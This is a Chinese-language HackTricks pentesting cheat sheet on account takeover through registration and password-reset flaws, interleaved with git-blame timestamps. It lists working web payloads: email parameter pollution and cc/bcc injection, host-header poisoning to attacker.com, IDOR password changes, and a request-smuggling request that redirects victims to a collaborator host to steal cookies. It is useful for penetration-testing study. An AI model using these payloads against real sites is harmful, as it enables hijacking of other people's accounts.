2023-08-03 19:12:22 +00:00
|
|
|
|
# 注册和接管漏洞
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
|
|
|
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
|
|
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 注册接管
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 重复注册
|
2021-06-27 14:55:59 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 尝试使用已存在的用户名生成
|
|
|
|
|
* 检查变化的电子邮件:
|
|
|
|
|
* 大写
|
|
|
|
|
* \+1@
|
|
|
|
|
* 在电子邮件中添加一些内容
|
|
|
|
|
* 电子邮件名称中的特殊字符(%00,%09,%20)
|
|
|
|
|
* 在电子邮件后面放置黑色字符:`test@test.com a`
|
|
|
|
|
* victim@gmail.com@attacker.com
|
|
|
|
|
* victim@attacker.com@gmail.com
|
2021-06-27 14:55:59 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 用户名枚举
|
2021-06-27 14:55:59 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
检查是否可以确定应用程序中是否已经注册了用户名。
|
2021-06-27 14:55:59 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 密码策略
|
2021-06-27 14:55:59 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
创建用户时检查密码策略(检查是否可以使用弱密码)。\
|
|
|
|
|
在这种情况下,您可以尝试暴力破解凭据。
|
2021-06-27 14:55:59 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### SQL注入
|
2021-06-27 14:55:59 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
[**查看此页面**](sql-injection/#insert-statement)以了解如何通过注册表单中的**SQL注入**尝试接管账户或提取信息。
|
2021-06-27 14:55:59 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### Oauth接管
|
2021-06-27 14:55:59 +00:00
|
|
|
|
|
2023-02-16 18:26:56 +00:00
|
|
|
|
{% content-ref url="oauth-to-account-takeover.md" %}
|
|
|
|
|
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
|
2021-10-18 11:21:18 +00:00
|
|
|
|
{% endcontent-ref %}
|
2021-06-27 14:55:59 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### SAML漏洞
|
2021-06-27 14:55:59 +00:00
|
|
|
|
|
2021-10-18 11:21:18 +00:00
|
|
|
|
{% content-ref url="saml-attacks/" %}
|
|
|
|
|
[saml-attacks](saml-attacks/)
|
|
|
|
|
{% endcontent-ref %}
|
2021-06-27 15:43:01 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 更改电子邮件
|
2021-06-27 15:43:01 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
注册后尝试更改电子邮件,并检查此更改是否被正确验证或是否可以将其更改为任意电子邮件。
|
2021-06-27 14:55:59 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 更多检查
|
2021-06-27 14:55:59 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 检查是否可以使用**一次性电子邮件**
|
|
|
|
|
* **长** **密码**(>200)导致**拒绝服务(DoS)**
|
|
|
|
|
* **检查账户创建的速率限制**
|
|
|
|
|
* 使用username@**burp\_collab**.net并分析**回调**
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## **重置密码接管**
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 通过引用者泄漏重置密码令牌 <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
1. 使用您的电子邮件地址请求重置密码
|
|
|
|
|
2. 单击重置密码链接
|
|
|
|
|
3. 不要更改密码
|
|
|
|
|
4. 单击任何第三方网站(例如:Facebook,Twitter)
|
|
|
|
|
5. 拦截Burp Suite代理中的请求
|
|
|
|
|
6. 检查引用者标头是否泄漏重置密码令牌。
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 重置密码篡改 <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
1. 在Burp Suite中拦截密码重置请求
|
|
|
|
|
2. 在Burp Suite中添加或编辑以下标头:`Host: attacker.com`,`X-Forwarded-Host: attacker.com`
|
|
|
|
|
3. 使用修改后的标头转发请求\
|
|
|
|
|
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
|
|
|
|
|
4. 查找基于_host header_的密码重置URL,例如:`https://attacker.com/reset-password.php?token=TOKEN`
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 通过电子邮件参数重置密码 <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
2021-11-30 00:17:48 +00:00
|
|
|
|
```powershell
|
|
|
|
|
# parameter pollution
|
|
|
|
|
email=victim@mail.com&email=hacker@mail.com
|
|
|
|
|
|
|
|
|
|
# array of emails
|
|
|
|
|
{"email":["victim@mail.com","hacker@mail.com"]}
|
|
|
|
|
|
|
|
|
|
# carbon copy
|
|
|
|
|
email=victim@mail.com%0A%0Dcc:hacker@mail.com
|
|
|
|
|
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
|
|
|
|
|
|
|
|
|
|
# separator
|
|
|
|
|
email=victim@mail.com,hacker@mail.com
|
|
|
|
|
email=victim@mail.com%20hacker@mail.com
|
|
|
|
|
email=victim@mail.com|hacker@mail.com
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### API参数中的IDOR漏洞 <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
1. 攻击者必须使用自己的账户登录并进入**更改密码**功能。
|
|
|
|
|
2. 启动Burp Suite并拦截请求。
|
|
|
|
|
3. 将请求发送到重复器选项卡并编辑参数:用户ID/电子邮件\
|
|
|
|
|
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 弱密码重置令牌 <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
密码重置令牌应该是每次随机生成且唯一的。\
|
|
|
|
|
尝试确定令牌是否过期或是否始终相同,在某些情况下,生成算法可能较弱且可以被猜测。以下变量可能被算法使用。
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 时间戳
|
|
|
|
|
* 用户ID
|
|
|
|
|
* 用户电子邮件
|
|
|
|
|
* 名字和姓氏
|
|
|
|
|
* 出生日期
|
|
|
|
|
* 加密
|
|
|
|
|
* 仅数字
|
|
|
|
|
* 小令牌序列(字符在\[A-Z,a-z,0-9]之间)
|
|
|
|
|
* 令牌重用
|
|
|
|
|
* 令牌过期日期
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 泄露密码重置令牌 <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
1. 使用API/UI触发特定电子邮件的密码重置请求,例如:test@mail.com
|
|
|
|
|
2. 检查服务器响应并查找`resetToken`
|
|
|
|
|
3. 然后在URL中使用令牌,如`https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 通过用户名冲突进行密码重置 <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
1. 使用与受害者用户名相同的用户名在系统上注册,但在用户名之前和/或之后插入空格,例如:"admin "
|
|
|
|
|
2. 使用恶意用户名请求密码重置。
|
|
|
|
|
3. 使用发送到您的电子邮件的令牌重置受害者密码。
|
|
|
|
|
4. 使用新密码连接到受害者账户。
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
CTFd平台易受此攻击影响。\
|
|
|
|
|
参见:[CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 通过跨站脚本攻击实现账户接管 <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
1. 在应用程序或子域中找到XSS漏洞(如果cookie的范围限定在父域名:`*.domain.com`)。
|
|
|
|
|
2. 泄露当前的**会话cookie**。
|
|
|
|
|
3. 使用cookie进行用户身份验证。
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 通过HTTP请求走私实现账户接管 <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
1. 使用**smuggler**检测HTTP请求走私的类型(CL、TE、CL.TE)\
|
2021-11-30 00:17:48 +00:00
|
|
|
|
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
2023-08-03 19:12:22 +00:00
|
|
|
|
2. 构造一个请求,将`POST / HTTP/1.1`覆盖为以下数据:\
|
|
|
|
|
`GET http://something.burpcollaborator.net HTTP/1.1 X:`,目标是将受害者重定向到burpcollab并窃取其cookie。
|
|
|
|
|
3. 最终请求可能如下所示:
|
2021-11-30 00:17:48 +00:00
|
|
|
|
```
|
|
|
|
|
GET / HTTP/1.1
|
|
|
|
|
Transfer-Encoding: chunked
|
|
|
|
|
Host: something.com
|
|
|
|
|
User-Agent: Smuggler/v1.0
|
|
|
|
|
Content-Length: 83
|
|
|
|
|
0
|
|
|
|
|
|
|
|
|
|
GET http://something.burpcollaborator.net HTTP/1.1
|
|
|
|
|
X: X
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
Hackerone报告利用此漏洞\
|
2021-11-30 00:17:48 +00:00
|
|
|
|
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
|
|
|
|
|
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 通过CSRF接管账户 <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
1. 创建CSRF的有效负载,例如:“自动提交密码更改的HTML表单”
|
|
|
|
|
2. 发送有效负载
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 通过JWT接管账户 <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
JSON Web Token可能用于用户身份验证。
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 编辑JWT以更改用户ID/电子邮件
|
|
|
|
|
* 检查弱JWT签名
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
|
|
|
|
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
|
|
|
|
|
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
|
|
|
|
|
{% endcontent-ref %}
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 参考资料
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
|
|
|
|
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
|
|
|
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
|
|
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|